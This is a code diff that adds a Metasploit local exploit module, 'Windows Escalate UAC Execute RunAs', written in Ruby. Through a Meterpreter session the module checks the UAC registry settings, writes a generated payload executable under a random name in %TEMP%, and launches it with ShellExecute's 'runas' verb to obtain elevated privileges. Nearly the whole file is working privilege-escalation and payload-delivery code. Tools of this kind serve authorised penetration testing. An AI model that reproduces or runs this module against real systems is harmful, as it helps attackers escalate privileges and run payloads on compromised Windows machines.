|
| 1 | +## |
| 2 | +# $Id$ |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# Framework web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/framework/ |
| 10 | +## |
| 11 | + |
| 12 | +require 'msf/core' |
| 13 | + |
| 14 | +class Metasploit3 < Msf::Exploit::Local |
| 15 | + Rank = ExcellentRanking |
| 16 | + |
| 17 | + include Post::Common |
| 18 | + include Exploit::EXE |
| 19 | + include Post::File |
| 20 | + |
| 21 | + def initialize(info={}) |
| 22 | + super( update_info( info, |
| 23 | + 'Name' => 'Windows Escalate UAC Execute RunAs', |
| 24 | + 'Description' => %q{ |
| 25 | + This module will attempt to elevate execution level using |
| 26 | + the ShellExecute undocumented RunAs flag to bypass low |
| 27 | + UAC settings. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => [ |
| 31 | + 'mubix <mubix[at]hak5.org>' # Port to local exploit |
| 32 | + ], |
| 33 | + 'Version' => '$Revision$', |
| 34 | + 'Platform' => [ 'windows' ], |
| 35 | + 'SessionTypes' => [ 'meterpreter' ], |
| 36 | + 'Targets' => [ [ 'Windows', {} ] ], |
| 37 | + 'DefaultTarget' => 0, |
| 38 | + 'References' => [ |
| 39 | + [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ] |
| 40 | + ], |
| 41 | + 'DisclosureDate'=> "Jan 3, 2012" |
| 42 | + )) |
| 43 | + |
| 44 | + register_options([ |
| 45 | + OptString.new("FILENAME", [ false, "File name on disk"]), |
| 46 | + OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]), |
| 47 | + OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]) |
| 48 | + ]) |
| 49 | + |
| 50 | + end |
| 51 | + |
| 52 | + def exploit |
| 53 | + |
| 54 | + root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") |
| 55 | + open_key = session.sys.registry.open_key(root_key, base_key) |
| 56 | + lua_setting = open_key.query_value('EnableLUA') |
| 57 | + |
| 58 | + if lua_setting.data == 1 |
| 59 | + print_status "UAC is Enabled, checking level..." |
| 60 | + else |
| 61 | + print_good "UAC is not enabled, no prompt for the user" |
| 62 | + end |
| 63 | + |
| 64 | + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') |
| 65 | + |
| 66 | + case uac_level.data |
| 67 | + when 2 |
| 68 | + print_status "UAC is set to 'Always Notify'" |
| 69 | + print_status "The user will be prompted, wait for them to click 'Ok'" |
| 70 | + when 5 |
| 71 | + print_error "UAC is set to Default" |
| 72 | + print_error "The user will be prompted, wait for them to click 'Ok'" |
| 73 | + when 0 |
| 74 | + print_good "UAC is not enabled, no prompt for the user" |
| 75 | + end |
| 76 | + |
| 77 | + |
| 78 | + # |
| 79 | + # Generate payload and random names for upload |
| 80 | + # |
| 81 | + payload = generate_payload_exe |
| 82 | + |
| 83 | + if datastore["FILENAME"] |
| 84 | + payload_filename = datastore["FILENAME"] |
| 85 | + else |
| 86 | + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 87 | + end |
| 88 | + |
| 89 | + if datastore["PATH"] |
| 90 | + payload_path = datastore["PATH"] |
| 91 | + else |
| 92 | + payload_path = session.fs.file.expand_path("%TEMP%") |
| 93 | + end |
| 94 | + |
| 95 | + cmd_location = "#{payload_path}\\#{payload_filename}" |
| 96 | + |
| 97 | + if datastore["UPLOAD"] |
| 98 | + print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...") |
| 99 | + fd = session.fs.file.new(cmd_location, "wb") |
| 100 | + fd.write(payload) |
| 101 | + fd.close |
| 102 | + end |
| 103 | + |
| 104 | + session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) |
| 105 | + |
| 106 | + end |
| 107 | +end |
| 108 | + |
0 commit comments